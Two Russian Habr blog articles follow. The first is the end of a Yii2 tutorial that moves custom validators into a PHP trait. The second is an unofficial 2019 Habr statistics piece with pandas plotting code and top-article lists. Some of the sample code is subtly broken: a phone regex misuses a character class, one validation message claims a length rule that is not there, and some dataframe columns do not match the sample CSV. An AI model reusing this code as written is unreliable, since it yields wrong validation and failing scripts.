[ [ 'product_id' , 'currency_id' , 'unit_id' , 'quantity' , 'price', 'phone' ] , 'required' ] ,
[['phone'], "phoneValidator"],
[['price'], "priceValidator"],
[['quantity'], "quantityValidator"],
[ [ 'vendor_code' ] , 'string' , 'max' => 255, 'message' => 'Артикул должен содержать от 25 до 255 символов.' ] ,
[ [ 'currency_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => Currencies::className() , 'targetAttribute' => [ 'currency_id' => 'id' ], 'message' => 'Выберите валюту' ] ,
[ [ 'product_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => Products::className() , 'targetAttribute' => [ 'product_id' => 'id' ] ], 'message' => 'Выберите товар' ,
[ [ 'unit_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => Units::className() , 'targetAttribute' => [ 'unit_id' => 'id' ], 'message' => 'Выберите единицу измерения' ] ,
[ [ 'user_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => User::className() , 'targetAttribute' => [ 'user_id' => 'id' ], 'message' => 'Выберите поставщика' ] ,
];
}
function phoneValidator ($attribute, $params, $validator) {
$pattern = "/^[8|+7]922\d{7}$/uism";
if (preg_match($pattern, $this->$attribute) == 0) {
$this->addError($attribute, 'Принимаются только номера мегафона в Перми!');
$region = Yii::$app->newRegions->addRegionByPhone( $this->$attribute );
Yii::$app->log->write("Потенциальный клиент из другого региона: " . $region);
}
}
...
```
Метод **rules** будет выглядеть чище, но это все равно захламляет код модели дополнительными методами валидации. Для этого случая разработчики **Yii 2.0\*** позволяют нам добавлять классы-Валидаторы,
**тем самым мы можем убрать 'ненужные' методы валидации из самой Модели**
```
public function rules() {
return [
[ [ 'product_id' , 'currency_id' , 'unit_id' , 'quantity' , 'price', 'phone' ] , 'required' ] ,
[['phone'], PhoneValidator::className()],
[['price'], PriceValidator::className()],
[['quantity'], QuantityValidator::className()],
[ [ 'vendor_code' ] , 'string' , 'max' => 255, 'message' => 'Артикул должен содержать от 25 до 255 символов.' ] ,
[ [ 'currency_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => Currencies::className() , 'targetAttribute' => [ 'currency_id' => 'id' ], 'message' => 'Выберите валюту' ] ,
[ [ 'product_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => Products::className() , 'targetAttribute' => [ 'product_id' => 'id' ] ], 'message' => 'Выберите товар' ,
[ [ 'unit_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => Units::className() , 'targetAttribute' => [ 'unit_id' => 'id' ], 'message' => 'Выберите единицу измерения' ] ,
[ [ 'user_id' ] , 'exist' , 'skipOnError' => true , 'targetClass' => User::className() , 'targetAttribute' => [ 'user_id' => 'id' ], 'message' => 'Выберите поставщика' ] ,
];
}
```
Этот пример казалось бы лучше предыдущего. Да, мы не захламляем Модель методами валидации, однако мы захламляем какую-либо из папок проекта
**дополнительными файлами**
Само по себе «захламление» папок не столь критично на первый взгляд, но работать с ними неудобно… Эти классы имеют лишь 3 метода: **validateValue, ClientValidateAttribute, getClientOptions**, последние 2 можно адекватно использовать, только если вы собираетесь пользоваться лишь «коробочным» функционалом. Но ведь хотелось бы, чтобы у меня был удобный способ обновлять\поддерживать валидацию десятка моделей, не прыгая по десяткам (а может и сотням) файлов.
Оба вышеперечисленных примера можно найти в официальной документации Yii и сотнях других источников. Однако я нигде не нашел примера, как можно организовать валидацию иначе.
### Какое-никакое, но все же решение
Более подробно я начал изучать ООП пример 2 месяца назад, когда примерно на середине книги [Стива](https://www.google.ru/search?q=%D1%81%D1%82%D0%B8%D0%B2+%D0%BC%D0%B0%D0%BA%D0%BA%D0%BE%D0%BD%D0%BD%D0%B5%D0%BB%D0%BB+%D1%81%D0%BE%D0%B2%D0%B5%D1%80%D1%88%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9+%D0%BA%D0%BE%D0%B4&oq=%D1%81%D1%82%D0%B8%D0%B2+%D0%BC%D0%B0%D0%BA%D0%BA%D0%BE%D0%BD%D0%BD%D0%B5%D0%BB&aqs=chrome.2.69i57j0l5.4885j1j7&sourceid=chrome&ie=UTF-8) я понял, что ничерта не понимаю в ООП и нужно реабилитироваться, я стал изучать все, что попадется под руку. Казалось бы, я знаю много, но в то же время ничерта, тем не менее каждая следующая неделя открывала мне глаза на то, что я изучал в предыдущую.
По такому же принципу я познакомился с **Трейтами**. Когда-то я прочитал документацию на [официальном сайте PHP](http://php.net/manual/ru/language.oop5.traits.php). Вроде бы понял, о чем идет речь. Но, как оказалось, не понял, как, где и зачем их применять. Лишь, когда я столкнулся с проблемой «комфорта» над текущим проектом, я начал искать варианты решения и вспомнил о тех самых «классах, которые я непонимаю как использовать».
**Само решение выглядит так**
```
CustomValidator.php
namespace common\traits;
use Yii;
trait CustomValidator {
public function traitPhone($attribute, $params, $validator ) {
$pattern = "/^[8|+7]922\d{7}$/uism";
if (preg_match($pattern, $this->$attribute) == 0) {
$this->addError($attribute, 'Принимаются только номера мегафона в Перми!');
$region = Yii::$app->newRegions->addRegionByPhone( $this->$attribute );
Yii::$app->log->write("Потенциальный клиент из другого региона: " . $region);
}
}
}
ProductOffers.php
namespace common\models;
use common\traits\CustomValidator;
class ProductOffers extends \yii\db\ActiveRecord {
use CustomValidator;
public function rules() {
return [
....
[['phone'], 'traitPhone'],
....
];
}
```
Иными словами, все методы собственной валидации находятся в одном единственном **Trait'e**, и в самих моделях мы используем именно эти методы. Чтобы избежать постоянного дублирования **use CustomValidator;** можно вызывать его сразу в родителе моделей **\yii\db\ActiveRecord** (имхо такое внедрение в базовый код Yii допустимо)
Лично мне кажется это решение более изящным, чем те, которые есть в документации:
1. Мы не меняем движок -> не будет проблем с обновлением *(ведь можно было просто добавить нужные методы в сам класс Model (но такого мы конечно никогда не делаем)*
2. Можно менять все именования ошибок и реализацию в одном файле
3. Используя префикс **trait** для методов мы сразу даем понять разработчику, о чем идет речь
4. Можно вообще пойти во все тяжкие и использовать методы **rules()** через трейт, тем самым — единственное, что нужно изменить в моделях — добавить **use CustomTrait;** и убрать базовый метод **rules**, а в самом трейте определять какие правила использовать
### Послесловие
Разумеется я не навязываю свое мнение, и я более чем уверен, что могу ошибаться во многих моментах, поэтому мой первый опыт публикации на Хабре подскажет мне в любом случае, где я прав, а где нет, а комментарии помогут более подробно разобраться в причинах тех или иных последствий. | https://habr.com/ru/post/353332/ | null | ru | null |
# Хабрастатистика: как живет Хабр без geektimes
Привет, Хабр.
Данная статья является логическим продолжением рейтинга [Лучших статей Хабра за 2018 год](https://habr.com/ru/post/441236/). И хотя год еще не закончился, но как известно, летом произошли изменения в правилах, соответственно, стало интересно посмотреть, повлияло ли это на что-нибудь.
Кроме собственно статистики, будет приведен и обновленный рейтинг статей, а также немного исходников для тех кому интересно, как это работает.
Для тех, кому интересно что получилось, продолжение под катом. Те, кому интересен более подробный анализ разделов сайта, могут также посмотреть [следующую часть](https://habr.com/ru/post/467429/).
Исходные данные
---------------
Данный рейтинг неофициальный, и никаких инсайдерских данных у меня нет. Как нетрудно видеть, посмотрев в адресную строку браузера, все статьи на Хабре имеют сквозную нумерацию. Дальше дело техники, просто в цикле читаем все статьи подряд (в один поток и с паузами, чтобы не нагружать сервер). Сами значения были получены несложным парсером на Python (исходники есть [здесь](https://habr.com/ru/post/440366/)) и сохранены в csv-файле примерно такого вида:
`2019-08-11T22:36Z,https://habr.com/ru/post/463197/,"Blazor + MVVM = Silverlight наносит ответный удар, потому что древнее зло непобедимо",votes:11,votesplus:17,votesmin:6,bookmarks:40,views:5300,comments:73
2019-08-11T05:26Z,https://habr.com/ru/news/t/463199/,"В NASA испытали систему автономного управления одного микроспутника другим",votes:15,votesplus:15,votesmin:0,bookmarks:2,views:1700,comments:7`
Обработка
---------
Для парсинга мы будем использовать Python, Pandas и Matplotlib. Те кому статистика неинтересна, эту часть могут пропустить и сразу перейти к статьям.
Сначала нужно загрузить датасет в память и выделить данные за нужный год.
```
import pandas as pd
import datetime
import matplotlib.dates as mdates
from matplotlib.ticker import FormatStrFormatter
from pandas.plotting import register_matplotlib_converters
df = pd.read_csv("habr.csv", sep=',', encoding='utf-8', error_bad_lines=True, quotechar='"', comment='#')
dates = pd.to_datetime(df['datetime'], format='%Y-%m-%dT%H:%MZ')
df['datetime'] = dates
year = 2019
df = df[(df['datetime'] >= pd.Timestamp(datetime.date(year, 1, 1))) & (df['datetime'] < pd.Timestamp(datetime.date(year+1, 1, 1)))]
print(df.shape)
```
Оказывается, за этот год (хотя он еще не закончен) на момент написания текста было опубликовано 12715 статей. Для сравнения, за весь 2018й — 15904. В общем, немало — это примерно 43 статьи в день (и это только с положительным рейтингом, сколько загружается всего статей, которые ушли в минус или были удалены, можно только гадать или примерно прикинуть по пропускам среди идентификаторов).
Выделим из датасета необходимые поля. В качестве метрик мы будем использовать количество просмотров, комментариев, значения рейтинга и количества добавлений в закладки.
```
def to_float(s):
# "bookmarks:22" => 22.0
num = ''.join(i for i in s if i.isdigit())
return float(num)
def to_int(s):
# "bookmarks:22" => 22
num = ''.join(i for i in s if i.isdigit())
return int(num)
def to_date(dt):
return dt.date()
date = dates.map(to_date, na_action=None)
views = df["views"].map(to_int, na_action=None)
bookmarks = df["bookmarks"].map(to_int, na_action=None)
votes = df["votes"].map(to_float, na_action=None)
votes_up = df["up"].map(to_float, na_action=None)
votes_down = df["down"].map(to_float, na_action=None)
comments = df["comments"].map(to_int, na_action=None)
df['date'] = date
df['views'] = views
df['votes'] = votes
df['bookmarks'] = bookmarks
df['up'] = votes_up
df['down'] = votes_down
```
Теперь данные добавлены в датасет, и мы можем их использовать. Сгруппируем данные по дням и возьмем усредненные значения.
```
g = df.groupby(['date'])
days_count = g.size().reset_index(name='counts')
year_days = days_count['date'].values
grouped = g.median().reset_index()
grouped['counts'] = days_count['counts']
counts_per_day = grouped['counts'].values
counts_per_day_avg = grouped['counts'].rolling(window=20).mean()
view_per_day = grouped['views'].values
view_per_day_avg = grouped['views'].rolling(window=20).mean()
votes_per_day = grouped['votes'].values
votes_per_day_avg = grouped['votes'].rolling(window=20).mean()
bookmarks_per_day = grouped['bookmarks'].values
bookmarks_per_day_avg = grouped['bookmarks'].rolling(window=20).mean()
```
Теперь самое интересное, мы можем посмотреть на графики.
Посмотрим количество публикаций на Хабре в 2019 году.
```
import matplotlib.pyplot as plt
plt.rcParams["figure.figsize"] = (16, 8)
fig, ax = plt.subplots()
plt.bar(year_days, counts_per_day, label='Articles/day')
plt.plot(year_days, counts_per_day_avg, 'g-', label='Articles avg/day')
plt.xticks(rotation=45)
ax.xaxis.set_major_formatter(mdates.DateFormatter("%d-%m-%Y"))
ax.xaxis.set_major_locator(mdates.MonthLocator(interval=1))
plt.legend(loc='best')
plt.tight_layout()
plt.show()
```
Результат интересный. Как можно видеть, Хабр в течении года слегка «колбасило». Причину я не знаю.
Для сравнения, 2018 выглядит несколько «ровнее»:
В целом, какого либо кардинального уменьшения числа публикуемых статей в 2019м я на графике не увидел. Более того, наоборот, оно с лета похоже даже немного выросло.
Но вот следующие два графика удручают меня немного больше.
Среднее число просмотров на статью:
Средний рейтинг на статью:
Как можно видеть, среднее число просмотров в течении года немного снижается. Это можно объяснить тем, что новые статьи еще не проиндексированы поисковиками, и их находят не так часто. А вот снижение среднего рейтинга на статью более непонятно. Ощущение такое, что читатели или просто не успевают просматривать такое количество статей или не обращают внимание на рейтинги. С точки зрения программы поощрения авторов, это тенденция весьма неприятная.
Кстати, в 2018 такого не было, и график более-менее ровный.
В общем, владельцам ресурса есть над чем подумать.
Но не будем о грустном. В целом можно сказать, что летние изменения Хабр «пережил» вполне успешно, и число статей на сайте не сократилось.
Рейтинг
-------
Теперь собственно, рейтинг. Поздравляю тех, кто в него попал. Еще раз напомню, что рейтинг неофициальный, возможно я что-то упустил, и если какая-то статья здесь точно должна быть, а её нет, пишите, добавлю вручную. В качестве рейтинга я использую рассчитанные метрики, которые как мне кажется, получились достаточно интересными.
**Топ статей по числу просмотров**
* [Светодиодное враньё невиданных масштабов](https://habr.com/ru/company/lamptest/blog/441610/) 241000 просмотров, 569 комментариев, рейтинг +364.0/-1.0
* ['Статья про минет': ученые обработали 109 часов орального секса, чтобы разработать ИИ, который сосет член](https://habr.com/ru/post/441252/) 236000 просмотров, 361 комментарий, рейтинг +240.0/-68.0
* [Что курил конструктор: необычное огнестрельное оружие](https://habr.com/ru/post/443764/) 235000 просмотров, 123 комментария, рейтинг +119.0/-9.0
* [Как я год не работал в Сбербанке](https://habr.com/ru/post/438514/) 233000 просмотров, 580 комментариев, рейтинг +449.0/-14.0
* [Учёные нашли самое старое живое позвоночное на Земле](https://habr.com/ru/post/439094/) 221000 просмотров, 211 комментариев, рейтинг +82.0/-14.0
* [Выброшенные на помойку умные лампочки — ценный источник личной информации](https://habr.com/ru/post/438368/) 219000 просмотров, 147 комментариев, рейтинг +73.0/-11.0
* [Король разработки](https://habr.com/ru/post/443466/) 178000 просмотров, 668 комментариев, рейтинг +315.0/-60.0
* [Мошенники и ЭЦП — всё очень плохо](https://habr.com/ru/post/453596/) 175000 просмотров, 778 комментариев, рейтинг +356.0/-0.0
* [Сериал 'Чернобыль': смотреть и думать](https://habr.com/ru/post/454670/) 172000 просмотров, 803 комментария, рейтинг +164.0/-25.0
* [Самый худший UI управления громкостью звука](https://habr.com/ru/post/449060/) 166000 просмотров, 176 комментариев, рейтинг +292.0/-30.0
* [Честное резюме программиста](https://habr.com/ru/post/450266/) 165000 просмотров, 283 комментария, рейтинг +410.0/-40.0
* [I ruin developers' lives with my code reviews and I'm sorry](https://habr.com/en/post/440736/) 164000 просмотров, 12 комментариев, рейтинг +33.0/-3.0
* [Как Мегафон спалился на мобильных подписках](https://habr.com/ru/post/448530/) 162000 просмотров, 676 комментариев, рейтинг +624.0/-2.0
* [Бунт на Пикабу. Пользователи массово уходят на Реддит](https://habr.com/ru/post/448762/) 160000 просмотров, 484 комментария, рейтинг +215.0/-41.0
* [Дешёвые и дорогие батарейки ААА](https://habr.com/ru/company/lamptest/blog/458856/) 159000 просмотров, 382 комментария, рейтинг +363.0/-6.0
* [На пенсию в 22](https://habr.com/ru/post/459262/) 156000 просмотров, 922 комментария, рейтинг +259.0/-100.0
* [Человек без смартфона](https://habr.com/ru/post/453508/) 152000 просмотров, 736 комментариев, рейтинг +173.0/-25.0
* [Хотите вечных светодиодов? Расчехляйте паяльники и напильники. Или домашнее освещение самодельщика](https://habr.com/ru/post/437420/) 149000 просмотров, 262 комментария, рейтинг +94.0/-6.0
* [Что не нужно делать, если у вас украли телефон](https://habr.com/ru/post/454190/) 144000 просмотров, 638 комментариев, рейтинг +259.0/-27.0
* [1 февраля 2019 года ваш сайт может перестать работать](https://habr.com/ru/company/cisco/blog/436662/) 143000 просмотров, 162 комментария, рейтинг +89.0/-8.0
**Топ статей по соотношению рейтинга к просмотрам**
* [Ослабляем гайки, часть 2: срок голосования за публикации и другие изменения](https://habr.com/ru/company/tm/blog/437354/) 14000 просмотров, рейтинг +238.0/-3.0
* [Довольно вычурные 'Начала' Евклида в TeX-е](https://habr.com/ru/post/451682/) 10800 просмотров, рейтинг +136.0/-0.0
* [Пользовательское вознаграждение авторам Хабра](https://habr.com/ru/company/habr/blog/441954/) 26400 просмотров, рейтинг +320.0/-0.0
* [Отправка сообщений об опечатках в публикациях](https://habr.com/ru/company/habr/blog/442208/) 18900 просмотров, рейтинг +179.0/-2.0
* [Hello world! Or Habr in English, v1.0](https://habr.com/en/company/tm/blog/435764/) 21000 просмотров, рейтинг +178.0/-2.0
* [Жизнь на частицах](https://habr.com/ru/post/442128/) 34000 просмотров, рейтинг +267.0/-2.0
* [Цивилизация Пружин, 5/5](https://habr.com/ru/post/439462/) 25800 просмотров, рейтинг +201.0/-1.0
* [Играем в Тетрис на электромеханическом экране](https://habr.com/ru/post/447472/) 16300 просмотров, рейтинг +124.0/-0.0
* [Воссоздание шрифтов с экрана ЭЛТ](https://habr.com/ru/post/446598/) 13400 просмотров, рейтинг +101.0/-0.0
* [Математическая модель игры Доббль](https://habr.com/ru/post/437140/) 14600 просмотров, рейтинг +110.0/-0.0
* [Важное сообщение об инвайтах в профиле](https://habr.com/ru/company/tm/blog/439140/) 18300 просмотров, рейтинг +137.0/-8.0
* [Ослабляем гайки в правилах Хабра](https://habr.com/ru/company/tm/blog/437072/) 48300 просмотров, рейтинг +338.0/-13.0
* [Уличная магия сравнения кодеков. Раскрываем секреты](https://habr.com/ru/post/451664/) 21700 просмотров, рейтинг +144.0/-0.0
* [Умный парсер числа, записанного прописью](https://habr.com/ru/post/453642/) 20500 просмотров, рейтинг +136.0/-1.0
* [Модели дженериков и метапрограммирования: Go, Rust, Swift, D и другие](https://habr.com/ru/company/mailru/blog/461321/) 17000 просмотров, рейтинг +110.0/-2.0
* [Создаю глобальную базу знаний по элементам питания](https://habr.com/ru/post/459638/) 22200 просмотров, рейтинг +139.0/-0.0
* [Как я написал и издал книгу об МГУ, или 12 критических ошибок](https://habr.com/ru/post/444728/) 21600 просмотров, рейтинг +134.0/-0.0
* [Про котэ, жену, двух сыновей, идею… и не только. История с продолжением](https://habr.com/ru/post/461129/) 43000 просмотров, рейтинг +269.0/-8.0
* [Вычисляемое видео в 755 мегапикселей: пленоптика вчера, сегодня и завтра](https://habr.com/ru/post/440652/) 41500 просмотров, рейтинг +244.0/-0.0
* [Плотность сюжета в рознице](https://habr.com/ru/company/mosigra/blog/442376/) 27500 просмотров, рейтинг +160.0/-1.0
**Топ статей по соотношению комментариев к просмотрам**
* [Гитхаб начал блокировать репозитории пользователей из Крыма, Кубы, Ирана, Северной Кореи и Сирии](https://habr.com/ru/news/t/461415/) 44500 просмотров, 1309 комментариев, рейтинг +115.0/-6.0
* [Уроки украинского](https://habr.com/ru/post/448634/) 60400 просмотров, 1672 комментария, рейтинг +285.0/-41.0
* [Ослабляем гайки в правилах Хабра](https://habr.com/ru/company/tm/blog/437072/) 48300 просмотров, 1285 комментариев, рейтинг +338.0/-13.0
* [Митинг против изоляции рунета](https://habr.com/ru/post/442912/) 50900 просмотров, 923 комментария, рейтинг +204.0/-32.0
* [Как поехать на двух колесах на работу](https://habr.com/ru/post/444420/) 47100 просмотров, 781 комментарий, рейтинг +113.0/-10.0
* [Авиакатастрофа в Шереметьево: исторические аналогии](https://habr.com/ru/post/450770/) 82400 просмотров, 1211 комментариев, рейтинг +147.0/-11.0
* [Инженеры спасают пропавших в лесу людей, но лес пока не сдается](https://habr.com/ru/post/457758/) 28900 просмотров, 423 комментария, рейтинг +132.0/-1.0
* [Митинг против изоляции Рунета](https://habr.com/ru/post/443202/) 63300 просмотров, 820 комментариев, рейтинг +182.0/-20.0
* [Как устроена защита детей от информации — и феерическая история про то, откуда она сначала взялась (18+)](https://habr.com/ru/company/mosigra/blog/463773/) 65400 просмотров, 811 комментариев, рейтинг +175.0/-2.0
* [Hello world! Or Habr in English, v1.0](https://habr.com/en/company/tm/blog/435764/) 21000 просмотров, 249 комментариев, рейтинг +178.0/-2.0
* [Как правильно купить картошку, если ты дальтоник](https://habr.com/ru/company/sfe_ru/blog/437304/) 51800 просмотров, 607 комментариев, рейтинг +135.0/-3.0
* [Каково быть мейнтейнером свободного ПО](https://habr.com/ru/post/449170/) 22900 просмотров, 259 комментариев, рейтинг +129.0/-3.0
* [Ослабляем гайки, часть 2: срок голосования за публикации и другие изменения](https://habr.com/ru/company/tm/blog/437354/) 14000 просмотров, 158 комментариев, рейтинг +238.0/-3.0
* [Опытное производство электроники за минимальный прайс](https://habr.com/ru/post/439606/) 34200 просмотров, 382 комментария, рейтинг +165.0/-3.0
* [Как нам обустроить Мегафон](https://habr.com/ru/post/451396/) 39800 просмотров, 405 комментариев, рейтинг +140.0/-6.0
* [Ядерные войны далекого прошлого?](https://habr.com/ru/post/446306/) 83400 просмотров, 843 комментария, рейтинг +133.0/-5.0
* [Hello world! Или англоязычный Хабр, v1.0](https://habr.com/ru/company/tm/blog/435766/) 60300 просмотров, 591 комментарий, рейтинг +268.0/-7.0
* [Космос как смутное воспоминание](https://habr.com/ru/post/446994/) 43200 просмотров, 402 комментария, рейтинг +190.0/-7.0
* [Пользовательское вознаграждение авторам Хабра](https://habr.com/ru/company/habr/blog/441954/) 26400 просмотров, 245 комментариев, рейтинг +320.0/-0.0
* [Принципы свободного рынка в понимании США](https://habr.com/ru/post/453486/) 56300 просмотров, 502 комментария, рейтинг +160.0/-44.0
**Топ самых спорных статей**
* [Государство и Т-киллеры](https://habr.com/ru/post/457754/) 752 комментария, рейтинг +83.0/-80.0, 15100 просмотров
* [Эти токсичные парни: они отравляют проекты](https://habr.com/ru/post/435792/) 120 комментариев, рейтинг +67.0/-51.0, 50300 просмотров
* [Зачем вам учить Go](https://habr.com/ru/company/mailru/blog/446914/) 70 комментариев, рейтинг +76.0/-57.0, 23100 просмотров
* [Я прочитал 80 резюме, у меня есть вопросы](https://habr.com/ru/company/dodopizzaio/blog/449256/) 635 комментариев, рейтинг +135.0/-94.0, 90700 просмотров
* [Почему быть вегетарианцем на самом деле невозможно](https://habr.com/ru/post/464445/) 940 комментариев, рейтинг +76.0/-52.0, 51600 просмотров
* [Функциональное программирование: дурацкая игрушка, которая убивает производительность труда. Часть 1](https://habr.com/ru/company/ruvds/blog/462483/) 394 комментария, рейтинг +100.0/-68.0, 54000 просмотров
* [Мы написали самый полезный код в своей жизни, но его выкинули на помойку. Вместе с нами](https://habr.com/ru/post/454774/) 259 комментариев, рейтинг +101.0/-63.0, 62900 просмотров
* [Челобитная в Apple](https://habr.com/ru/post/462417/) 96 комментариев, рейтинг +90.0/-52.0, 39300 просмотров
* [Почему Windows в 2019 году не рулит, или ЧЯДНТ?](https://habr.com/ru/post/438888/) 881 комментарий, рейтинг +123.0/-70.0, 75000 просмотров
* [Я не настоящий](https://habr.com/ru/post/460983/) 246 комментариев, рейтинг +105.0/-59.0, 63900 просмотров
* [Пять пугающих трендов современной разработки](https://habr.com/ru/company/oleg-bunin/blog/459446/) 262 комментария, рейтинг +95.0/-52.0, 77400 просмотров
* [Чем быстрее вы забудете ООП, тем лучше для вас и ваших программ](https://habr.com/ru/post/451982/) 1271 комментарий, рейтинг +131.0/-63.0, 128000 просмотров
* [Год за рулём электромобиля](https://habr.com/ru/post/462911/) 1098 комментариев, рейтинг +131.0/-58.0, 71800 просмотров
* [Перестану-ка я добро на помойку выкидывать](https://habr.com/ru/post/437502/) 179 комментариев, рейтинг +147.0/-62.0, 34400 просмотров
* [Поймай меня, если сможешь](https://habr.com/ru/post/450878/) 215 комментариев, рейтинг +141.0/-58.0, 65400 просмотров
* [На пенсию в 22](https://habr.com/ru/post/459262/) 922 комментария, рейтинг +259.0/-100.0, 156000 просмотров
* [Ответ психиатра на статью 'Болен-здоров'](https://habr.com/ru/post/455280/) 272 комментария, рейтинг +154.0/-55.0, 43400 просмотров
* [Новые языки программирования незаметно убивают нашу связь с реальностью](https://habr.com/ru/post/442112/) 764 комментария, рейтинг +164.0/-52.0, 106000 просмотров
* [Алкоголизм последней стадии](https://habr.com/ru/post/464603/) 597 комментариев, рейтинг +208.0/-60.0, 123000 просмотров
* ['Статья про минет': ученые обработали 109 часов орального секса, чтобы разработать ИИ, который сосет член](https://habr.com/ru/post/441252/) 361 комментарий, рейтинг +240.0/-68.0, 236000 просмотров
**Топ статей по рейтингу**
* [Как Мегафон спалился на мобильных подписках](https://habr.com/ru/post/448530/), 676 комментариев, рейтинг +624.0/-2.0, 162000 просмотров
* ['Мобильный контент' бесплатно, без смс и регистраций. Подробности мошенничества от Мегафона](https://habr.com/ru/post/454078/), 474 комментария, рейтинг +488.0/-8.0, 112000 просмотров
* [Инновации по-русски](https://habr.com/ru/post/451898/), 612 комментариев, рейтинг +480.0/-33.0, 127000 просмотров
* [Как я год не работал в Сбербанке](https://habr.com/ru/post/438514/), 580 комментариев, рейтинг +449.0/-14.0, 233000 просмотров
* [Как Protonmail блокируется в России](https://habr.com/ru/company/habr/blog/443222/), 398 комментариев, рейтинг +418.0/-7.0, 102000 просмотров
* [10 лет в IT с диагнозом шизофрения, советы по выживанию](https://habr.com/ru/post/459240/), 281 комментарий, рейтинг +403.0/-8.0, 122000 просмотров
* [Честное резюме программиста](https://habr.com/ru/post/450266/), 283 комментария, рейтинг +410.0/-40.0, 165000 просмотров
* [Когда 'a' не равно 'а'. По следам одного взлома](https://habr.com/ru/post/465355/), 64 комментария, рейтинг +374.0/-5.0, 74600 просмотров
* [Увеличь это! Современное увеличение разрешения](https://habr.com/ru/post/439766/), 214 комментариев, рейтинг +366.0/-1.0, 104000 просмотров
* [Светодиодное враньё невиданных масштабов](https://habr.com/ru/company/lamptest/blog/441610/), 569 комментариев, рейтинг +364.0/-1.0, 241000 просмотров
* [Дешёвые и дорогие батарейки ААА](https://habr.com/ru/company/lamptest/blog/458856/), 382 комментария, рейтинг +363.0/-6.0, 159000 просмотров
* [Мошенники и ЭЦП — всё очень плохо](https://habr.com/ru/post/453596/), 778 комментариев, рейтинг +356.0/-0.0, 175000 просмотров
* [Япония: страна настолько здравого смысла, что он для нас местами иррационален](https://habr.com/ru/post/453598/), 483 комментария, рейтинг +365.0/-12.0, 138000 просмотров
* [Ослабляем гайки в правилах Хабра](https://habr.com/ru/company/tm/blog/437072/), 1285 комментариев, рейтинг +338.0/-13.0, 48300 просмотров
* [Пользовательское вознаграждение авторам Хабра](https://habr.com/ru/company/habr/blog/441954/), 245 комментариев, рейтинг +320.0/-0.0, 26400 просмотров
* [Как я хакера ловил](https://habr.com/ru/post/448810/), 273 комментария, рейтинг +305.0/-6.0, 110000 просмотров
* [Мифы современной популярной физики](https://habr.com/ru/post/442444/), 556 комментариев, рейтинг +304.0/-6.0, 99600 просмотров
* [Теперь хороших разрабов меряют по просмотрам и подписчикам — и это плохо](https://habr.com/ru/post/451812/), 486 комментариев, рейтинг +324.0/-26.0, 74800 просмотров
* [Выжить в лобовом столкновении, и почему амнезия это не то, что вы думаете](https://habr.com/ru/post/459710/), 165 комментариев, рейтинг +297.0/-4.0, 61800 просмотров
* [Сканер портов в личном кабинете Ростелекома](https://habr.com/ru/post/456558/), 194 комментария, рейтинг +300.0/-8.0, 111000 просмотров
**Топ статей по числу добавлений в закладки**
* [42 оператора расширенного поиска Google (полный список)](https://habr.com/ru/post/437618/) 47100 просмотров, 917 закладок
* [Как стать Java разработчиком за 1,5 года](https://habr.com/ru/post/439432/) 89500 просмотров, 894 закладки
* [Sampler. Консольная утилита для визуализации результата любых shell команд](https://habr.com/ru/post/463441/) 58400 просмотров, 801 закладка
* [HBO, cпасибо что напомнил… 'Чернобыльская аптечка' беларуского фармацевта](https://habr.com/ru/post/454766/) 89500 просмотров, 797 закладок
* [Практические советы, примеры и туннели SSH](https://habr.com/ru/post/435546/) 40000 просмотров, 787 закладок
* [256 строчек голого C++: пишем трассировщик лучей с нуля за несколько часов](https://habr.com/ru/post/436790/) 60000 просмотров, 745 закладок
* [Асинхронное программирование (полный курс)](https://habr.com/ru/post/452974/) 36700 просмотров, 690 закладок
* ['Сгоревшие' сотрудники: есть ли выход?](https://habr.com/ru/company/badoo/blog/458792/) 116000 просмотров, 688 закладок
* [Обширный обзор собеседований по Python. Советы и подсказки](https://habr.com/ru/post/439576/) 28400 просмотров, 687 закладок
* [15 книг по машинному обучению для начинающих](https://habr.com/ru/post/464871/) 18700 просмотров, 670 закладок
* [Курс лекций по JavaScript и Node.js в КПИ](https://habr.com/ru/post/434686/) 52500 просмотров, 656 закладок
* [Как я пишу конспекты по математике на LaTeX в Vim](https://habr.com/ru/post/445066/) 58100 просмотров, 652 закладки
* [Чему я научился на своём горьком опыте (за 30 лет в разработке ПО)](https://habr.com/ru/company/mailru/blog/456862/) 100000 просмотров, 651 закладка
* [Подборка полезных слайдов от Джулии Эванс](https://habr.com/ru/company/first/blog/461251/) 41000 просмотров, 587 закладок
* [HTTP-заголовки для ответственного разработчика](https://habr.com/ru/company/mailru/blog/450816/) 33600 просмотров, 566 закладок
* [N+7 полезных книг](https://habr.com/ru/company/mosigra/blog/455046/) 42700 просмотров, 563 закладки
* [Хакаем CAN шину авто. Виртуальная панель приборов](https://habr.com/ru/post/442184/) 60700 просмотров, 562 закладки
* [Осторожный переезд в Нидерланды с женой и ипотекой. Часть 1: поиск работы](https://habr.com/ru/post/454662/) 76200 просмотров, 555 закладок
* [TCP против UDP или будущее сетевых протоколов](https://habr.com/ru/company/oleg-bunin/blog/461829/) 50300 просмотров, 538 закладок
* [Лучшие дистрибутивы Linux для старых компьютеров](https://habr.com/ru/post/458088/) 66000 просмотров, 523 закладки
**Топ по соотношению добавлений в закладки к просмотрам**
* [15 книг по машинному обучению для начинающих](https://habr.com/ru/post/464871/) 670 закладок, 18700 просмотров
* [Музыка для ваших проектов: 12 тематических ресурсов с треками по лицензии Creative Commons](https://habr.com/ru/company/audiomania/blog/449766/) 477 закладок, 18100 просмотров
* [Обширный обзор собеседований по Python. Советы и подсказки](https://habr.com/ru/post/439576/) 687 закладок, 28400 просмотров
* [Подборка датасетов для машинного обучения](https://habr.com/ru/post/452392/) 455 закладок, 19000 просмотров
* [Генератор подземелий на основе узлов графа](https://habr.com/ru/post/436198/) 304 закладки, 12700 просмотров
* [Простое объяснение алгоритмов поиска пути и A\*](https://habr.com/ru/post/444828/) 316 закладок, 13500 просмотров
* [Web tools, или с чего начать пентестеру?](https://habr.com/ru/company/dsec/blog/452836/) 421 закладка, 18800 просмотров
* [Изучаем Docker, часть 2: термины и концепции](https://habr.com/ru/company/ruvds/blog/439978/) 341 закладка, 15600 просмотров
* [Изучаем Docker, часть 3: файлы Dockerfile](https://habr.com/ru/company/ruvds/blog/439980/) 297 закладок, 13800 просмотров
